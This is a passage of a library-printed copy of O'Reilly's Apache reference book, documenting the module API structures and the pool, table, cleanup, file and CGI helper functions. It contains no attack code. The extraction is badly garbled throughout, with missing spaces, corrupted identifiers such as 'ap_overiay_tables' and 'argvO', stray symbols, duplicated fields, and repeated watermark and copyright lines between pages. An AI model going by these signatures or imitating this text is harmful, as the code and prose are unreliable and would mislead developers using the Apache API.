char*path/*PathnameforServerPath*/
intpathlen/*Lengthofpath*/
char*names/*NormalnamesforServerAliasservers*/
array_header*wild_names/*WildcardednamesforServerAliasserver
*/
uid_tserver_uid/*EffectiveuserIDwhencallingexecwrapper*/
gid_tserver_gid/*EffectivegroupIDwhencallingexecwrapper*/
}
MostofthisstuctureisusedbytheApachecore,buteachmodulecanalsohaveaperserverconfiguration,whichisaccesedviathemodule_configmember,
usingget_module_config().Eachmodulecreatesthispermoduleconfigurationstructureitself,soithascompletecontroloveritssizeandcontents.
PerDirectoryConfiguration
Itisalsopossibleformodulestobeconfiguredonaperdirectory,perURL,orperfilebasis.Again,eachmoduleoptionallycreatesitsownperdirectory
configuration(thesamestructureisusedforallthreecases).Theconfigurationismadeavailabletomoduleseitherdirectly,durigconfiguration,orindirectly,oncethe
serverisrunning,thoughtherequest_recstructure,detailedinthenextsection.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page243
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
PerRequestInformation
Thecoreensuresthattherightinformationisavailabletothemodulesattherighttimebymatchingrequeststotheappropriatevirtualserveranddirectoryinformation
beforeinvokingthevariousfunctionsinthemodules.This,andotherinformation,ispackagedinarequest_recstructure,defindinhttpd.h
structrequest_rec{
ap_pool*pool
conn_rec*connection
server_rec*server
request_rec*next/*Ifwewindupgettingredirected,
*pontertotherequestweredirectedto.
*/
request_rec*prev/*Ifthisisaninternalredirect,
*pointertowhereweredirected*from*.
*/
request_rec*main/*Ifthisisasubrequest(seerequest.h),
*/
/*Infoabouttherequestitself...webeginwithstuffthatonly
*protocol.cshouldevertouch...
*/
char*the_request/*Firstlineofrequest,sowecanlogit*/
intassbackwards/*HTTP/0.9,"simple"requst*/
intproto_num/*Aproxyrequst(calculatedduring
*post_read_requestortranslate_name*/
intheader_only/*HEADrequest,asopposedtoGET*/
char*protocol/*protocol,asgiventous,orHTTP/0.9*/
intproto_num/*Numberversionofprotocol1.1=1001*/
constchar*hostname/*Host,assetbyfullURIorHost:*/
time_trequest_time/*Whentherequeststarted*/
char*status_line/*atatusline,ifsetbyscript*/
intstatus/*Inanycase*/
/*Requestmethod,twowaysalso,protocol,etc.Outsideofprotocol.c,
*look,butdon'ttouch.
*/
char*method/*GET,HEAD,POST,etc.*/
intmethod_number/*M_GET,M_POST,etc.*/
/*
allowedisabitvectoroftheallowedmethods.
Ahandlermustensurethattherequestmethodisonethat
itiscapableofhandling.GenerallymodulesshouldDECLINE
anyrequestmethodstheydonothandle.Priortoabortingthe
handlerlikethis,thehandlershouldsetr>allowedtothelist
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page244
ofmethodsthatitiswillingtohandle.Thisbitvectorisused
toconstructthe"Allow"headerrequiredforOPTIONSrequests,
andMETHOD_NOT_ALLOWEDandNOT_IMPLEMENTEDstatuscodes.
Sincethedefault#u:handlerdealswithOPTIONS,allmodulescan
usuallydeclinetodealwithOPTIONS.TRACEisalwaysallowed
modulesdon'tneedtosetitexplicitly.
Sincethedefault_handlerwillalwayshandleaGET,a
modulewhichdoes*not*implementGETshouldprobablyreturn
METHOD_NOT_ALLOWED.Unfortunately,thismeansthataScriptGET
handlercan'tbeinstalledbymod_actions.
*/
intallowed/*Allowedmethodsfor405,OPTIONS,etc.*/
intsent_bodyct/*Bytecountinstreamisforbody*/
longbytes_sent/*Bodybytecount,foreasyaccess*/
time_tmtime/*Timetheresourcewaslastmodified*/
/*HTTP/1.1connectionlevelfeatures*/
intchunked/*Sendingchunkedtransfercoding*/
intbyterange/*Numberofbyteranges*/
char*boundary/*Multipart/byterangesboundary*/
constchar*range/*TheRange:header*/
longclength/*The"real"contentlength*/
longremaining/*Byteslefttoread*/
longread_length/*Bytesthathavebeenread*/
intread_body/*Howtherequestbodyshouldberead*/
intread_chunked/*Readingchunkedtransfercoding*/
/*MIMEheaderenvironments,inandout.Also,anarraycontaining
*environmentvariablestobepassedtosubprocesses,sopeoplecan
*writemodulestoaddtothatenvironment.
*
*Thedifferencebetweenheaders_outanderr_headers_outisthatthe
*latterareprintedevenonerrorandpersistacrossinternalredirects
*(sotheheadersprintedforErrorDocumenthandlerswillhavethem).
*
*The'notes'tableisfornotesfromonemoduletoanother,withno
*othersetpurposeinmind
*/
table*headers_in
table*headers_out
table*err_headers_out
table*subprocess_env
table*notes
/*content_type,handler,content_encoding,content_language,andall
*content_languagesMUSTbelowercasedstrings.Theymaybepointers
*tostaticstringstheyshouldnotbemodifiedinplace.
*/
char*content_type/*Breaktheseoutwedispatchon'em*/
char*handler/*Whatwe*really*dispatchon*/
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page245
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
char*content_encoding
char*content_language
array_header*content_languages/*Arrayof(char*)*/
intno_cache
intno_local_copy
/*Whatobjectisbeingrequested(eitherdirectly,orviainclude
*orcontentnegotiationmapping).
*/
char*unparsed_uri/*TheURIwithoutanyparsingperformed*/
char*uri/*ThepathportionoftheURI*/
char*Component
char*path_info
char*args/*QUERYARGS,ifany*/
structstatfinfo/*ST_MODEsettozeroifnosuchfile*/
uri_componentsparsed_uri/*ComponentsofURI,dismantled*/
/*Variousotherconfiginfo,whichmaychangewith.htaccessfiles.
*Theseareconfigvectors,withonevoid*pointerforeachmodule
*(thethingpointedtobeingthemodule'sbusiness).
*/
void*per_dir_config/*Optionssetinconfigfiles,etc.*/
void*request_config/*Noteson*this*request*/
/*
*Alinkedlistoftheconfigurationdirectivesinthe.htaccessfiles
*accessedbythisrequest.
*N.B.Alwaysaddtotheheadofthelist,_never_totheend.
*Thatway,asubrequest'slistcan(temporarily)pointtoaparent's
*list.
*/
conststructhtaccess_result*htaccess
}
AccesstoConfigurationandRequestInformation
Allthissoundshorriblycomplicated,and,tobehonest,itis.ButunlessyouplantomessaroundwiththegutsofApache(whichthisbookdoesnotencourageyouto
do),allyoureallyneedtoknowisthatthesestructuresexistandthatyourmodulecangetaccesstothemattheappropriatemoments.Eachfunctionexportedbya
modulegetsaccesstotheappropriatestructuretoenableittofunction.Theappropriatestructuredependsonthefunction,ofcourse,butitisalwayseithera
server_rec,themodule'sperdirectoryconfigurationstructure(ortwo),orarequest_rec.Aswehaveseenabove,ifyouhaveaserver_rec,you
cangetaccesstoyourperserverconfiguration,andifyouhavearequest_rec,youcangetaccesstobothyourperserverandyourperdirectory
configurations.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page246
Functions
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Nowthatwehavecoveredthemainstructuresusedbymodules,wecandetailthefunctionsavailabletouseandmanipulatethosestructures.
PoolFunctions
ap_make_sub_poolcreateasubpool
pool*apu:make_sub_pool(pool*p)
Createsasubpoolwithinapool.Thesubpoolisdestroyedautomaticallywhenthepoolpisdestroyed,butcanalsobedestroyedearlierwithdestroy_poolor
clearedwithclear_pool.Returnsthenewpool.
ap_clear_poolclearapoolwithoutdestroyingit
voidap_clear_pool(pool*p)
Clearsapool,destroyingallitssubpoolswithdestroy_poolandrunningcleanups.Thisleavesthepoolitselfemptybutintact,andthereforeavailableforreuse.
ap_destroy_pooldestroyapoolandallitscontents
voidap_destroy_pool(pool*p)
Destroysapool,runningcleanupmethodsforthecontentsandalsodestroyingallsubpools.Thesubpoolsaredestroyedbeforethepool'scleanupsarerun.
ap_bytes_in_poolreportthesizeofapool
longap_bytes_in_pool(pool*p)
Returnsthenumberofbytescurrentlyallocatedtoapool
ap_bytes_in_free_blocksreportthetotalsizeoffreeblocksinthepoolsystem
longap_bytes_in_free_blocks(void)
Returnsthenumberofbytescurrentlyinfreeblocksforallpools.
ap_pallocallocatememorywithinapool
void*ap_palloc(pool*p,intsize)
Allocatesmemoryofatleastsizebytes.Thememoryisdestroyedwhenthepoolisdestroyed.Returnsapointertothenewblockofmemory.
ap_pcallocallocateandclearmemorywithinapool
void*ap_pcalloc(pool*p,intsize)
Allocatesmemoryofatleastsizebytes.Thememoryisinitializedtozero.Thememoryisdestroyedwhenthepoolisdestroyed.Returnsapointertothenewblock
ofmemory.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page247
ap_pstrdupduplicateastringinapool
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
char*ap_pstrdup(pool*p,constchar*s)
Duplicatesastringwithinapool.Thememoryisdestroyedwhenthepoolisdestroyed.IfsisNULL,thereturnvalueisNULLotherwise,itisapointertothenew
copyofthestring.
ap_pstrndupduplicateastringinapoolwithlimitedlength
char*ap_pstrndup(pool*p,constchar*s,intn)
Allocatesn+1bytesofmemoryandcopiesuptoncharactersfroms,NULLterminatingtheresult.Thememoryisdestroyedwhenthepoolisdestroyed.Returnsa
pointertothenewblockofmemory,orNULLifsisNULL.
ap_pstrcatconcanateandduplicatealistofstrings
char*ap_pstrcat(pool*p,)
ConcatenatestheNULLterminatedlistofstringstogetherinanewblockofmemory.Thememoryisdestroyedwhenthepoolisdestroyed.Returnsapointertothe
newblockofmemory.Forexample:
pstrcat(p,"Hello,","world",NULL)
returnsablockofmemorycontainingHello,world!
ArrayFunctions
ap_make_arrayallocateanarrayofarbitrarysizeelements
array_header*ap_make_array(pool*p,intnelts,intelt_size)
Allocatesmemorytocontainneltselementsofsizeelt_size.Thearraycangrowtocontainasmanyelementsasneeded.Thearrayisdestroyedwhenthepool
isdestroyed.Returnsapointertothenewarray.
ap_push_arrayaddanewelementtoanarray
void*ap_push_array(array_header*arr)
Returnsapointertothenextelementofthearrayarr,allocatingmorememorytoaccommodateitifnecessary.
ap_array_catconcatenatetwoarrays
voidap_array_cat(array_header*dst,constarray_header*src)
Appendsthearraysrctothearraydst.Thedstarrayisallocatedmorememoryifnecessarytoaccommodatetheextraelements.Althoughthisoperationonly
makessenseifthetwoarrayshavethesameelementsize,thereisnocheckforthis.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page248
ap_copy_arraycreateacopyofanarray
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
array_header*ap_copy_array(pool*p,constarray_header*arr)
Createsanewcopyofthearrayarrinthepoolp.Thenewarrayisdestroyedwhenthepoolisdestroyed.Returnsapointertothenewarray.
ap_copy_array_hdrcreateacopyofanarraywithcopyonwrite
array_header*ap_copy_array_hdr(pool*p,constarray_header*arr)
Copiesthearrayarrintothepoolpwithoutimmediatelycopyingthearray'sstorage.Ifthearrayisextendedwithpush_array,theoriginalarrayiscopiedto
thenewarraybeforetheextensiontakesplace.Returnsapointertothenewarray.
Thereareatleasttwopitfallswiththisfunction.First,ifthearrayisnotextended,itsmemoryisdestroyedwhentheoriginalarrayisdestroyedsecond,anychanges
madetotheoriginalarraymayalsoaffectthenewarrayiftheyoccurbeforethenewarrayisextended.
ap_append_arraysconcatenatetwoarraysintoanewarray
array_header*ap_append_arrays(pool*p,constarray_header*first,constarray_header*second)
Createsanewarrayconsistingoftheelementsofsecondappendedtotheelementsoffirst.Ifsecondisempty,thenewarraysharesmemorywithfirstuntilanew
elementisappended(thisisaconsequenceofusingcopy_array_header()tocreatethenewarrayseethewarninginthatfunction).Returnsapointertothe
newarray.
TableFunctions
Atableisanassociationbetweentwostringsknownasthekeyandthevalue,accessiblebythekey.
ap_make_tablecreateanewtable
table*ap_make_table(pool*p,intnelts)
Createsanewtablewithsufficientinitialstorageforneltselements.Returnsapointertothetable.
ap_copy_tablecopyatable
table*ap_copy_table(pool*p,consttable*t)
Returnsapointertoacopyofthetable.
ap_table_eltsaccessthearraythatunderliesatable
array_header*ap_table_elts(table*t)
Returnsthearrayuponwhichthetableisbased.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page249
ap_is_empty_tabletestwhetheratableisempty
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
intap_is_empty_table(table*t)
Returnsnonzeroifthetableisempty.
ap_table_setcreateorreplaceanentryinatable
voidap_table_set(table*t,constchar*key,constchar*value)
Ifkeyalreadyhasanassociatedvalueint,itisreplacedwithacopyofvalueotherwise,anewentryiscreatedinthetable.Notethatthekeyandvalueare
duplicatedwithap_pstrdup().
ap_table_setncreateorreplaceanentryinatablewithoutduplication
voidap_table_setn(table*t,constchar*key,constchar*value)
Thisissimilartoap_table_set(),exceptthatthekeyandvaluearenotduplicated.Thisisnormallyusedtocopyavaluefromapooltoasubpool.
ap_table_mergemergeanewvalueintoatable
voidap_table_merge(table*t,constchar*key,constchar*value)
Ifanentryalreadyexistsforkeyinthetable,valueisappendedtotheexistingvalue,separatedbyacommaandaspace.Otherwise,anewentryiscreated,asin
table_set.Notethatifmultipleinstancesofkeyexistinthetable,onlythefirstisaffected.
pool*p/*Assumedtobesetelsewhere*/
table*t
char*v
t=make_table(1)
table_set(t,"somekey","Hello")
table_merge(t,"somekey","world")
v=table_get(t,"somekey")/*vnowcontains"Hello"world"*/
ap_table_mergenmergeanewvalueintoatablewithoutduplication
voidap_table_mergen(table*t,constchar*key,constchar*value)
Thisissimilartoap_table_merge(),exceptthatifanewkey/valuepairiscreated,itisnotduplicated.Thisisnormallyusedtomergeavaluefromapoolinto
asubpool.
ap_table_addaddanewkey/valuepairtoatable
voidap_table_add(table*t,constchar*key,constchar*Value)
Addsanewentrytothetable,associatingkeywithvalue.Notethatanewentryiscreatedwhetherornotthekeyalreadyexistsinthetable.Thekeyandvalue
storedareduplicatedusingap_pstrdup().
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page250
ap_table_addnaddanewkey/valuepairtoatablewithoutduplication
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
voidap_table_addn(table*t,constchar*key,constchar*value)
Addsanewentrytothetable,associatingkeywithvalue.Notethatanewentryiscreatedwhetherornotthekeyalreadyexistsinthetable.Thekeyandvalue
storedarenotduplicated,socaremustbetakentoensuretheyarenotchanged.Thisfunctionisnormallyusedtocopyatableelementfromapoolintoasubpool.
ap_table_unsetremoveanentryfromatable
voidap_table_unset(table*t,constchar*key)
Removestheentryinthetablecorrespondingtokey.Itisnotanerrortoremoveanentrythatdoesnotexist.
ap_table_getfindthevalueinatablecorrespondingtoakey
constchar*ap_table_get(consttable*t,constchar*key)
Returnsthevaluecorrespondingtokeyinthetablet.Notethatyoumaynotmodifythereturnedvalue.
ap_table_doapplyafunctiontoeachelementofatable
voidap_table_do(int(*comp)(void*,constchar*,constchar*),void*rec,
consttable*t,)
Runsthefunctioncomp(rec,key,value)oneachkey/valuepairwhosekeymatchesthevarargkey.Notethatifmorethanonevarargisgiven,the
tablewillbetraversedonceforeach.Ifnonearegiven(oraNULLoneisgiven),comp()isappliedtoallelementsinthetable.Thekeycomparisoniscaseblind.
ap_overlay_tableconcatenatetwotablestogiveanewtable
table*ap_overiay_tables(pool*p,consttable*overlay,consttable*base)
Createsanewtableconsistingofthetwotablesoverlayandbaseconcatenated,overlayfirst.Noattemptismadetomergeoroverrideexistingkeysin
eithertable,butsinceoverlaycomesfirst,anyretrievaldonewithtable_getonthenewtablegetstheentryfromoverlayifitexists.Returnsapointertothe
newtable.
ap_clear_tableclearatablewithoutdeletingit
API_EXPORT(void)ap_clear_table(table*t)
Clearsthetable.Noneoftheelementsaredestroyed(sincethepoolmechanismdoesn'tpermitit,anyway),buttheybecomeunavailable.
CleanupFunctions
Animportantpartofthepoolisthecleanupfunctionsthatarerunwhenthepoolisdestroyed.Thesefunctionsdealwiththosecleanupfunctions.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page251
ap_register_cleanupregisteracleanupfunction
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
voidap_register_cleanup(pool*p,void*data,void(*plain_cleanup)(void*),void(*child_cleanup)(void*))
Registersapairoffunctionstobecalledwhenthepoolisdestroyed.Poolscanbedestroyedfortworeasons:first,becausetheserverhasfinishedwiththatpool,in
whichcaseitdestroysitandcallstheplain_cleanupfunction,orsecond,becausetheserverhasforkedandispreparingtoexecsomeotherprogram,in
whichcasethechild_cleanupfunctioniscalled.Ineithercase,dataispassedastheonlyargumenttothecleanupfunction.Ifeitherofthesecleanupsisnot
required,useap_null_cleanup
ap_kill_cleanupremoveacleanupfunction
voidap_kill_cleanup(pool*p,void*data,void(*plain_cleanup)(void*)
Removesthepreviouslyregisteredcleanupfunctionfromthepool.Thecleanupfunctionisidentifiedbytheplain_cleanupfunctionandthedatapointer
previouslyregisteredwithregister_cleanup.Notethatthedatapointermustpointtothesamememoryaswasusedinregister_cleanup.
ap_cleanup_for_execclearallpoolsinpreparationforanexec
voidcleanup_for_exec(void)
Destroysallpoolsusingthechild_cleanupmethods.Needlesstosay,this
shouldonlybedoneafterforkingandbeforerunninga(nonserver)child.Calling
thisinarunningservercertainlystopsitfromworking!NotethatonWin32this
actuallydoesnothing,ontheslightlydubiousgroundsthatwearen'tforked.
Unfortunately,thereisn'treallymuchalternative.
ap_note_cleanups_for_fdregisteracleanupforafiledescriptor
voidnote_cleanups_for_fd(pool*p,intfd)
Registersacleanupfunctionthatwillclosethefiledescriptorwhenthepoolisdestroyed.Normallyoneofthefileopeningfunctionsdoesthisforyou,butitis
occasionallynecessarytodoit''byhand".Notethatsocketshavetheirowncleanupfunctions.
ap_kill_cleanups_for_fdremovethecleanupforafiledescriptor
voidkill_cleanups_for_fd(pool*p,intfd)
Killscleanupsforafiledescriptorregisteredusingpopenf(),pfopen(),pfdopen(),ornote_cleanups_for_fd().Normallythis
istakencareofwhenthefileisclosed,butoccasionallyitisnecessarytocallitdirectly.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page252
ap_note_cleanups_for_socketregisteracleanupforasocket
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
voidap_note_cleanups_for_socket(pool*p,intfd)
Registersacleanupfunctionthatwillclosethesocketwhenthepoolisdestroyed.Thisisdistinctfromap_note_cleanups_for_fd()becausesocketsand
filedescriptorsarenotequivalentonWin32.
ap_kill_cleanups_for_socketremovethecleanupforasocket
voidap_kill_cleanups_for_socket(pool*p,intsock)
Removesthecleanupfunctionforthesocketsock.Thisisnormallydoneforyouwhenthesocketisclosedbyap_pclosesocket(),butitmayoccasionally
benecessarytocallitdirectly.
ap_note_cleanups_for_fileregisteracleanupforaFILE
voidap_note_cleanups_for_file(pool*p,FILE*f)
Registersacleanupfunctiontoclosethestreamwhenthepoolisdestroyed.Strangely,thereisn'tanap_kill_cleanups_for_file().
ap_run_cleanuprunacleanupfunction,blockingalarms
voidap_run_cleanup(pool*p,void*data,void(*cleanup)(void*))
Runsacleanupfunction,passingdatatoit,withalarmsblocked.Itisn'tusuallynecessarytocallthis,sincecleanupsarerunautomatically,butitcanbeusedforany
customcleanupcode.Thecleanupfunctionisremovedfromp.
FileandSocketFunctions
Thesefunctionsareusedtoopenandclosefilesandsocketswithautomaticcleanupregistrationandkilling.
ap_popenfopenafilewithautomaticcleanup
intap_popenf(pool*p,constchar*name,intflg,intmode)
TheequivalenttothestandardCfunctionopen(),exceptthatitensuresthatthefileisclosedwhenthepoolisdestroyed.Returnsthefiledescriptorfortheopened
file,or1onerror.
ap_pclosefcloseafileopenedwithpopenf
intap_pclosef(pool*p,intfd)
Closesafilepreviouslyopenedwithap#u:popenf().Thereturnvalueiswhateverclose()returns.Thefile'scleanupfunctionisdestroyed.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page253
ap_prfopenopenastreamwithautomaticcleanup
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
FILE*ap_pfopen(pool*p,constchar*name,constchar*mode)
Equivalenttofopen(),exceptthatitensuresthatthestreamisclosedwhenthepoolisdestroyed.Returnsapointertothenewstream,orNULLonerror.
ap_pfdopenopenastreamfromafiledescriptorwithautomaticcleanup
FILE*ap_pfdopen(pool*p,intfd,constchar*mode)
Equivalenttofdopen(),exceptthatitensuresthestreamisclosedwhenthepoolisdestroyed.Returnsapointertothenewstream,orNULLonerror.
ap_pfclosecloseastreamopenedwithpfopen()orpfdopen()
intap_pfclose(pool*p,FILE*fd)
Closesthestreamwithfclose(),removingitscleanupfunctionfromthepool.Returnswhateverfclose()returns.
ap_psocketopenasocketwithautomaticcleanup
intap_psocket(pool*p,intdomain,inttype,intprotocol)
Opensasocket,usingsocket(),registeringacleanupfunctiontoclosethesocketwhenthepoolisdestroyed.
ap_pclosesocketcloseasocketcreatedwithap_psocket()
intap_pclosesocket(pool*a,intsock)
Closesthesocket,usingclosesocket(),removingthecleanupfunctionfromthepool.Returnswhateverclosesocket()returns.
RegularExpressionFunctions
NotethatonlythefunctionsthatallocatememoryarewrappedbyApacheAPIfunctions.
ap_pregcompcompilearegularexpressionwithautomaticcleanup
regex_t*ap_pregcomp(pool*p,constchar*pattern,intcflags)
Equivalenttoregcomp(),exceptthatmemoryusedisautomaticallyfreedwhenthepoolisdestroyedandthattheregex_t*argumenttoregcomp()is
createdinthepoolandreturned,ratherthanbeingpassedasaparameter.
ap_pregsubsubstituteforregularexpressionsubmatches
char*ap_pregsub(pool*p,constchar*input,constchar*source,size_tnmatch,
regmatch_tpmatch[])
Substitutesfor$0$9ininput,usingsourceasthesourceofthesubstitutions,andpmatchtodeterminewheretosubstitutefrom.nmatch,pmatch,and
source
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page254
shouldbethesameaspassedtoregexec().Returnsthesubstitutedversionofinputinmemoryallocatedfromp.
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ap_pregfreefreearegularexpressioncompiledwithap_pregcomp()
voidap_pregfree(pool*p,regex_t*reg)
Freestheregularexpressionwithregfree(),removingitscleanupfunctionfromthepool.
ap_os_is_path_absolutedeterminewhetherapathisabsolute
intap_os_is_path_absolute(constchar*file)
Returns1iffileisanabsolutepath,0otherwise.
ProcessandCGIFunctions
ap_note_subprocessregisterasubprocessforkillingonpooldestruction
voidap_note_subprocess(pool*p,intpid,enumkill_conditionshow)
Registersasubprocesstobekilledonpooldestruction.Exactlyhowitiskilleddependsonhow:
kill_never
Don'tkilltheprocessorwaitforit.Thisisnormally
usedinternally.
kill_after_timeout
SendtheprocessaSIGTERM,waitthreeseconds,sendaSIGKILL,andwaitfortheprocesstodie.
kill_always
SendtheprocessaSIGKILLandwaitfortheprocesstodie.
just_wait
Don'tsendtheprocessanykindofkill.
kill_only_once
SendaSIGTERM,thenwait
Notethatallthreeseconddelaysarecarriedoutatonce,ratherthanoneaftertheother.
ap_spawn_childspawnachildprocess
intap_spawn_child(pool*p,void(*func)(void*,child_info*),void*data,enumkill_conditionskill_how,FILE**pipe_,FILE**pipe_out,FILE
**pipe_err)
Thisfunctionshouldnotbeused,asitisknowntoexposebugsinMicrosoft'slibrariesonWin32.Youshoulduseap_bspawn_child()instead.Thisfunction
wascalledspawn_child_errinpreviousversionsofApache.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page255
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ap_bspawn_childspawnachildprocess
intap_bspawn_child(pool*p,int(*func)(void*,child_info*),void*data,enumkil_conditionskill_how,BUFF**pipe_in,BUFF**pipe_out,BUFF
**pipe_err)
Spawnsachildprocess,withpipesoptionallyconnectedtoitsstandardinput,
output,anderror.Thisfunctiontakescareofthedetailsofforking(iftheplatform
supportsit)andsettingupthepipes,funciscalledwithdataanda
child_infostructureasitsargumentsinthechildprocess.The
child_infostructurecarriesinformationneededtospawnthechildunder
Win32itisnormallypassedstraightontoap_call_exec().Iffunc
()wantscleanuptooccur,itcallscleanup_for_exec.func()will
normallyactuallyexecutethechildprocesswithap_call_exec().Ifanyof
pipe_in,pipe_out,orpipe_errareNULL,thosepipesaren't
createdotherwise,theyarefilledinwithpointerstoBUFFsthatareconnectedto
thesubprocesses'standardinput,output,anderror,respectively.Notethaton
Win32,thepipesuseWin32nativehandlesratherthanCfilehandles.This
functiononlyreturnsintheparent.ReturnsthePIDofthechildprocess,or1on
error.Thisfunctionwascalledspawn_child_err_buffinprevious
versionsofApache.
ap_call_execexec,spawn,orcallsetuidwrapper
intap_call_exec(request_rec*r,child_info*pinfo,char*argvO,char**env,
intshellcmd)
Callsexec()(oranappropriatespawningfunctiononnonforkingplatforms)orthesetuidwrapper,dependingonwhethersetuidwrappersareenabled.argvOis
thenameoftheprogramtorunenv$ecsisaNULL
terminatedarrayofstringstobeusedastheenvironmentoftheexec'dprogram.Ifshellcmdisnonzero,thecommandisrunviaashell.Ifr
>argsissetanddoesnotcontainanequalsign,itispassedascommandlinearguments,pinfoshouldbethestructurepassedbyap_bspawn_child
().Thisfunctionshouldnotreturnonforkingplatforms.OnnonforkingplatformsitreturnsthePIDofthenewprocess.
ap_can_execcheckwhetherapathcanbeexecuted
intap_can_exec(conststructstat*finfo)
Givenastructstat(fromstat()etal.),returnsnonzeroifthefiledescribedbyfinfocanbeexecuted.
ap_add_cgi_varssetenvironmentvariablesforCGIs
voidap_add_cgi_vars(request_rec*r)
AddstheenvironmentvariablesrequiredbytheCGIspecification(apartfromthoseaddedbyap_add_common_vars()).Callthisbeforeactuallyexec()
ingaCGI.ap_add_common_vars()shouldalsobecalled.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page256
ap_add_common_varssetenvironmentvariablesforsubprograms
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
voidap_add_common_vars(request_rec*r)
Addstheenvironmentvariablescommontoallsubprogramsrunasaresultofarequest.Usually,ap_add_cgi_vars()shouldbecalledaswell.Theonly
exceptionweareawareofisISAPIprograms.
ap_scan_script_header_errscantheheadersoutputbyaCGI
intap_scan_script_header_err(request_rec*r,FILE*f,char*buffer)
ReadtheheadersarrivingfromaCGIonf,checkingthemforcorrectness.Mostheadersaresimplystoredinr>headers_out,whichmeansthey'llultimately
besenttotheclient,butafewaredealtwithspecially:
Status
Ifthisisset,itisusedastheHTTPresponsecode.
Location
Ifthisisset,theresultisaredirecttotheURLspecified.
Ifbufferisprovided(itcanbe$csLNULL),then,shouldthescriptsendanillegalheader,itwillbeleftinbuffer,whichmustbeatleast
MAX_STRING_LENbyteslong.ThereturnvalueisHTTP$#uOK,thestatussetbythescript,orSERVER_ERRORifanerroroccurred.
ap_scan_script_header_err_buffscantheheadersoutputbyaCGI
intap_scan_script_header_err_buff(request_rec*r,BUFF*fb,char*buffer)
Thisissimilartoap_scan_script_header_err(),exceptthattheCGIisconnectedwithaBUFF*insteadofaFILE*.
ap_scan_script_headerscantheheadersoutputbyaCGI
intap_scan_script_header(request_rec*r,FILE*f)
Thisissimilartoap_scan_script_header_err(),exceptthatnoerrorbufferispassed.
MD5Functions
ap_md5calculatetheMD5hashofastring
